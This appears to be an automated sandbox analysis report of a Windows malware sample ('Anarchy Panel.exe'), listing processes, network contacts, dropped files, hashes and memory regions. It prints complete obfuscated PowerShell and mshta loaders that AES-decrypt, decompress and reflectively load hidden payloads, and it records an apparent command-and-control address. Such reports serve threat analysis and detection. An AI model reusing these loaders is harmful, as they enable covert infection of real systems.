C:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -Embedding

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\$sxr-mshta.exe

C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-TwfkFnoyLGWlxhzmArsw4312:POYjSNFM=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\$sxr-cmd.exe

"C:\Windows\$sxr-cmd.exe" /c %$sxr-TwfkFnoyLGWlxhzmArsw4312:POYjSNFM=%

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $KdWyo=$bkHaC.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($WwewB).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "

C:\Windows\$sxr-powershell.exe

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k WerSvcGroup

C:\Windows\$sxr-cmd.exe

"C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(1488).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $KdWyo=$bkHaC.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($WwewB).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(1488).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $KdWyo=$bkHaC.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($WwewB).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "

C:\Windows\$sxr-powershell.exe

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 218.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 147.185.221.17:25792 tcp
US 8.8.8.8:53 17.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp

Files

memory/3008-0-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/3008-1-0x0000000000BB0000-0x000000000457C000-memory.dmp

memory/3008-2-0x0000000020240000-0x0000000020250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

memory/3564-11-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/3564-16-0x00000000005C0000-0x0000000003C5E000-memory.dmp

memory/3008-17-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.bat

MD5 2892f2caa15e37c12faea09c6bb5a44a
SHA1 8f401732b8a3a8b1022ef52836a4e7eac604146a
SHA256 c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f
SHA512 35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

memory/3564-19-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-20-0x00000000044F0000-0x00000000044F1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Costura\C5730A4C0FDD612A5678E51A536CE09E\64\sqlite.interop.dll

MD5 56a504a34d2cfbfc7eaa2b68e34af8ad
SHA1 426b48b0f3b691e3bb29f465aed9b936f29fc8cc
SHA256 9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
SHA512 170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

memory/3564-27-0x0000000005E20000-0x0000000005E32000-memory.dmp

memory/3564-28-0x000000001FFC0000-0x00000000205A8000-memory.dmp

memory/3564-29-0x00000000205B0000-0x0000000020970000-memory.dmp

memory/3564-30-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-31-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/4764-33-0x000001E2C5890000-0x000001E2C58A0000-memory.dmp

memory/4764-32-0x000001E2C5890000-0x000001E2C58A0000-memory.dmp

memory/4764-34-0x000001E2C58A0000-0x000001E2C58C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xkjpkit.qwg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3564-44-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-45-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-46-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-47-0x000001E2C5980000-0x000001E2C59C4000-memory.dmp

memory/4764-48-0x000001E2C5DB0000-0x000001E2C5E26000-memory.dmp

memory/3564-49-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/3564-50-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-51-0x00000000242C0000-0x0000000024512000-memory.dmp

memory/3564-52-0x0000000024AA0000-0x0000000024BEE000-memory.dmp

memory/3564-53-0x0000000024D40000-0x0000000024D54000-memory.dmp

memory/3564-54-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-56-0x000001E2C5E30000-0x000001E2C66C8000-memory.dmp

memory/4764-57-0x00007FFE3AAA0000-0x00007FFE3AB5E000-memory.dmp

memory/4764-58-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/3564-59-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-60-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/4764-61-0x000001E2C5890000-0x000001E2C58A0000-memory.dmp

memory/4764-62-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/3564-63-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-64-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-65-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/4764-66-0x000001E2C7B40000-0x000001E2C860A000-memory.dmp

memory/4764-67-0x000001E2C8610000-0x000001E2C86AA000-memory.dmp

memory/4764-68-0x000001E2C59D0000-0x000001E2C5A22000-memory.dmp

memory/4764-69-0x000001E2C86B0000-0x000001E2C8708000-memory.dmp

memory/4764-70-0x000001E2C5940000-0x000001E2C596E000-memory.dmp

memory/3564-71-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/3564-72-0x000000001E7D0000-0x000000001E7E0000-memory.dmp

memory/4764-79-0x000001E2AD0A0000-0x000001E2AD0A8000-memory.dmp

memory/4764-80-0x0000000180000000-0x0000000180009000-memory.dmp

C:\Windows\$sxr-mshta.exe

MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

C:\Windows\$sxr-mshta.exe

MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

C:\Windows\$sxr-cmd.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Windows\$sxr-cmd.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Anarchy Panel.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/3564-90-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

C:\Windows\$sxr-powershell.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/1488-93-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/1488-94-0x000001D923CE0000-0x000001D923CF0000-memory.dmp

memory/1488-95-0x000001D923CE0000-0x000001D923CF0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

memory/4764-106-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/4764-107-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/1488-108-0x000001D9440A0000-0x000001D9446B0000-memory.dmp

memory/1488-109-0x00007FFE3AAA0000-0x00007FFE3AB5E000-memory.dmp

memory/1488-110-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/1488-111-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/1488-112-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/1488-113-0x000001D945A60000-0x000001D94601E000-memory.dmp

memory/1488-114-0x000001D946020000-0x000001D94681A000-memory.dmp

memory/1488-117-0x000001D946820000-0x000001D946C8C000-memory.dmp

memory/1488-118-0x000001D946C90000-0x000001D946D42000-memory.dmp

memory/1488-119-0x000001D946D40000-0x000001D946E2C000-memory.dmp

memory/1488-120-0x000001D946E30000-0x000001D946EF6000-memory.dmp

memory/1488-125-0x0000000180000000-0x0000000180009000-memory.dmp

memory/620-128-0x00000200ABBA0000-0x00000200ABC40000-memory.dmp

memory/620-130-0x00000200ABC90000-0x00000200ABD36000-memory.dmp

memory/620-132-0x00007FFE3CAED000-0x00007FFE3CAEE000-memory.dmp

memory/620-129-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1488-133-0x00007FFE1D030000-0x00007FFE1DAF1000-memory.dmp

memory/1488-134-0x000001D923CE0000-0x000001D923CF0000-memory.dmp

memory/1488-136-0x000001D923CE0000-0x000001D923CF0000-memory.dmp

memory/4764-135-0x00007FFE3CA50000-0x00007FFE3CC45000-memory.dmp

memory/684-138-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/960-143-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/336-148-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/664-152-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1056-157-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1064-161-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1168-166-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1188-171-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1224-176-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1268-182-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1376-187-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1400-191-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1424-195-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1440-199-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

memory/1544-204-0x00007FFDFCAD0000-0x00007FFDFCAE0000-memory.dmp

C:\Windows\$sxr-cmd.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Windows\$sxr-powershell.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Windows\$sxr-powershell.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
